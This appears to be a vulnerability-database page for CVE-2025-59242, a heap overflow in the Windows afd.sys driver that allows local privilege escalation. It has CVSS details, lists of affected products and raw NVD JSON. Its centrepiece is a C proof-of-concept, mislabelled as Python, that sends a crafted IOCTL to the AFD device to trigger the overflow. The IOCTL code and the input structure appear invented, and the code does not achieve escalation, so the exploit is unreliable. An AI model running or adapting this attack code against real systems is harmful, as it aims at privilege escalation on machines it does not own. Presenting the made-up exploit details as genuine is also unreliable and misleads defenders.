Security Vulnerability Report
中文
CVE-2025-59242 CVSS 7.8 HIGH

CVE-2025-59242

Published: 2025-10-14 17:16:06
Last Modified: 2025-10-17 15:18:10

Description

Heap-based buffer overflow in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
Windows 10 (1507-21H2) 全部版本
Windows 11 (21H2-24H2) 全部版本
Windows Server 2016 全部版本
Windows Server 2019 全部版本
Windows Server 2022 全部版本
Windows Server 2025 全部版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-59242 - Windows afd.sys Heap-based Buffer Overflow PoC * Target: Windows Ancillary Function Driver for WinSock * Type: Local Privilege Escalation via Heap Overflow * * WARNING: This PoC is for educational and authorized testing purposes only. * Unauthorized use of this code against systems you do not own is illegal. */ #include <windows.h> #include <stdio.h> #include <winioctl.h> // AFD device name and IOCTL codes (internal/undocumented) #define AFD_DEVICE_NAME "\\\\.\\Device\\Afd" // IOCTL code for binding an endpoint (example internal IOCTL) #define IOCTL_AFD_BIND 0x00012003 // Structure to hold the malicious input for triggering the overflow typedef struct _AFD_EXPLOIT_INPUT { ULONG InputLength; // Intended length (smaller than actual) ULONG ActualLength; // Actual data length (larger - triggers overflow) ULONG SocketHandle; ULONG Padding; CHAR Data[0x1000]; // Oversized buffer to overflow heap } AFD_EXPLOIT_INPUT, *PAFD_EXPLOIT_INPUT; int main(int argc, char* argv[]) { HANDLE hDevice; DWORD bytesReturned; BOOL result; AFD_EXPLOIT_INPUT exploitInput = { 0 }; printf("[*] CVE-2025-59242 - afd.sys Heap Overflow PoC\n"); // Step 1: Open a handle to the AFD driver hDevice = CreateFileA( AFD_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open AFD device. Error: %lu\n", GetLastError()); printf("[*] Note: SeDebugPrivilege or admin rights may be required.\n"); return 1; } printf("[+] Opened AFD device handle: 0x%p\n", hDevice); // Step 2: Create a Winsock socket for the exploit context WSADATA wsaData; SOCKET sock = INVALID_SOCKET; WSAStartup(MAKEWORD(2, 2), &wsaData); sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (sock == INVALID_SOCKET) { printf("[-] Failed to create socket. Error: %d\n", WSAGetLastError()); CloseHandle(hDevice); return 1; } printf("[+] Created socket: %llu\n", (ULONGLONG)sock); // Step 3: Prepare the malicious input buffer // The key is to set InputLength smaller than ActualLength, // causing the driver to read more data than the allocated heap buffer exploitInput.InputLength = 0x100; // Claimed length (small) exploitInput.ActualLength = 0x1000; // Actual length (large - overflow!) exploitInput.SocketHandle = (ULONG)sock; memset(exploitInput.Data, 0x41, sizeof(exploitInput.Data)); // Fill with 'A's // Step 4: Send the crafted IOCTL to trigger the heap overflow printf("[*] Sending crafted IOCTL to trigger heap overflow...\n"); result = DeviceIoControl( hDevice, IOCTL_AFD_BIND, &exploitInput, sizeof(exploitInput), // Send full buffer NULL, 0, &bytesReturned, NULL ); if (!result) { printf("[-] DeviceIoControl failed. Error: %lu\n", GetLastError()); // A BSOD or success may have occurred } else { printf("[+] IOCTL sent successfully\n"); } // Cleanup closesocket(sock); WSACleanup(); CloseHandle(hDevice); printf("[*] PoC execution completed.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59242", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:06.207", "lastModified": "2025-10-17T15:18:10.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria" ... (truncated)